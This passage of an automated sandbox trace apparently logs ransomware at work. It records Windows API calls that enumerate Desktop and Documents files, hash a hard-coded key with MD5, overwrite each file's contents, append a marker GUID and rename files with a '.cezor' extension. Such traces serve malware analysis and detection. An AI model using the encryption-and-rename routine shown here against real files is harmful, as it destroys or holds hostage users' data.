halpmcxz\\desktop\\xe1yhhnvlwt k.wav.cezor")) returned 1 [0059.978] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0059.978] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0059.979] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30fc570 | out: hHeap=0x670000) returned 1 [0059.979] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1868d30, ftCreationTime.dwHighDateTime=0x1d4c53b, ftLastAccessTime.dwLowDateTime=0x4431ac60, ftLastAccessTime.dwHighDateTime=0x1d4c6ea, ftLastWriteTime.dwLowDateTime=0x4431ac60, ftLastWriteTime.dwHighDateTime=0x1d4c6ea, nFileSizeHigh=0x0, nFileSizeLow=0x98fa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Xk2XWRW.flv", cAlternateFileName="")) returned 1 [0059.979] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.979] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x76) returned 0x30fc570 [0059.979] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.979] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Xk2XWRW.flv") returned=".flv" [0059.979] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Xk2XWRW.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xk2xwrw.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0059.980] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=39162) returned 1 [0059.980] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0059.982] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x98d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.982] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0059.983] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0059.983] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0059.983] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0059.983] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x98fa, lpOverlapped=0x0) returned 1 [0059.983] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.983] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0059.983] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.983] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.983] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ea30) returned 1 [0059.984] CryptCreateHash (in: hProv=0x74ea30, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0059.984] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0059.984] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0059.984] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0059.984] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0059.984] GetLastError () returned 0x0 [0059.984] CryptDestroyHash (hHash=0x3038608) returned 1 [0059.984] CryptReleaseContext (hProv=0x74ea30, dwFlags=0x0) returned 1 [0059.984] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0059.984] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x9900) returned 0x3132418 [0059.984] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0059.984] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0059.985] WriteFile (in: hFile=0x5c4, lpBuffer=0x3132418*, nNumberOfBytesToWrite=0x98f5, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x3132418*, lpNumberOfBytesWritten=0x9aafb24*=0x98f5, lpOverlapped=0x0) returned 1 [0059.985] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132418 | out: hHeap=0x670000) returned 1 [0059.985] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x98fa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.985] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6358 [0059.985] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a430 [0059.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0059.985] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a878 [0059.985] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0059.985] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6358 | out: hHeap=0x670000) returned 1 [0059.985] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a878*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a878*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0059.985] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0059.985] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0059.985] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0059.985] CloseHandle (hObject=0x5c4) returned 1 [0059.986] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d870 [0059.986] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x870) returned 0x306a418 [0059.986] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d870 | out: hHeap=0x670000) returned 1 [0059.986] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Xk2XWRW.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xk2xwrw.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Xk2XWRW.flv.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xk2xwrw.flv.cezor")) returned 1 [0059.987] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.987] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0059.988] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30fc570 | out: hHeap=0x670000) returned 1 [0059.988] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20ed2a30, ftCreationTime.dwHighDateTime=0x1d4c664, ftLastAccessTime.dwLowDateTime=0x7985b590, ftLastAccessTime.dwHighDateTime=0x1d4c592, ftLastWriteTime.dwLowDateTime=0x7985b590, ftLastWriteTime.dwHighDateTime=0x1d4c592, nFileSizeHigh=0x0, nFileSizeLow=0x71f2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_34_nkr.wav", cAlternateFileName="")) returned 1 [0059.988] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.988] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x76) returned 0x30fc570 [0059.988] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.988] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_34_nkr.wav") returned=".wav" [0059.989] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_34_nkr.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\_34_nkr.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0059.989] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=29170) returned 1 [0059.989] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0059.991] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x71cc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.991] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0059.992] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0059.992] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0059.992] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0059.992] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x71f2, lpOverlapped=0x0) returned 1 [0059.992] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.992] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0059.992] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.992] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.992] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ea30) returned 1 [0059.993] CryptCreateHash (in: hProv=0x74ea30, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0059.993] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0059.993] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0059.993] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0059.993] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0059.993] GetLastError () returned 0x0 [0059.993] CryptDestroyHash (hHash=0x3038608) returned 1 [0059.993] CryptReleaseContext (hProv=0x74ea30, dwFlags=0x0) returned 1 [0059.993] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0059.993] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x71f0) returned 0x3132418 [0059.993] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0059.993] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0059.993] WriteFile (in: hFile=0x5c4, lpBuffer=0x3132418*, nNumberOfBytesToWrite=0x71ed, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x3132418*, lpNumberOfBytesWritten=0x9aafb24*=0x71ed, lpOverlapped=0x0) returned 1 [0059.994] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132418 | out: hHeap=0x670000) returned 1 [0059.994] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x71f2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.994] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6358 [0059.994] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a878 [0059.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a878, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0059.994] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a430 [0059.994] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0059.994] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6358 | out: hHeap=0x670000) returned 1 [0059.994] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a430*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a430*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0059.994] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0059.994] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0059.994] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0059.994] CloseHandle (hObject=0x5c4) returned 1 [0059.995] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d870 [0059.995] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x870) returned 0x306a418 [0059.995] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d870 | out: hHeap=0x670000) returned 1 [0059.995] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_34_nkr.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\_34_nkr.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_34_nkr.wav.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\_34_nkr.wav.cezor")) returned 1 [0059.996] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.996] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0059.996] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30fc570 | out: hHeap=0x670000) returned 1 [0059.996] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20ed2a30, ftCreationTime.dwHighDateTime=0x1d4c664, ftLastAccessTime.dwLowDateTime=0x7985b590, ftLastAccessTime.dwHighDateTime=0x1d4c592, ftLastWriteTime.dwLowDateTime=0x7985b590, ftLastWriteTime.dwHighDateTime=0x1d4c592, nFileSizeHigh=0x0, nFileSizeLow=0x71f2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_34_nkr.wav", cAlternateFileName="")) returned 0 [0059.997] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.997] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4898 | out: hHeap=0x670000) returned 1 [0059.997] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31196b8 | out: hHeap=0x670000) returned 1 [0059.997] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0059.997] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6358 [0059.997] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.997] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0059.997] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.997] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.997] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0059.997] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0059.997] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.997] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.997] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0059.997] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0059.997] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.997] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.997] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0059.997] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0059.997] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.997] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.997] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0059.997] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0059.997] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.997] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.997] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0059.997] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0059.997] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.997] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.998] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0059.998] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0059.998] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.998] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.998] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.998] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.998] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0059.998] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0059.998] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.998] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.998] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0059.998] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0059.998] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.998] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.998] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0059.998] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0059.998] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.998] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.998] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0059.998] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0059.998] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.998] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.998] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0059.998] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0059.998] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.998] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.998] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0059.998] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0059.998] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.998] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.998] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0059.998] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0059.999] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.999] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.999] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0059.999] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0059.999] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.999] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.999] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0059.999] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0059.999] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.999] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.999] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0059.999] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0059.999] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.999] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0059.999] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5770 [0059.999] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0059.999] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0059.999] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.999] PathFindFileNameW (pszPath="") returned="" [0059.999] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xfa72b7d0, ftLastAccessTime.dwHighDateTime=0x1d53558, ftLastWriteTime.dwLowDateTime=0xfa72b7d0, ftLastWriteTime.dwHighDateTime=0x1d53558, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.999] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xfa72b7d0, ftLastAccessTime.dwHighDateTime=0x1d53558, ftLastWriteTime.dwLowDateTime=0xfa72b7d0, ftLastWriteTime.dwHighDateTime=0x1d53558, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.000] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, 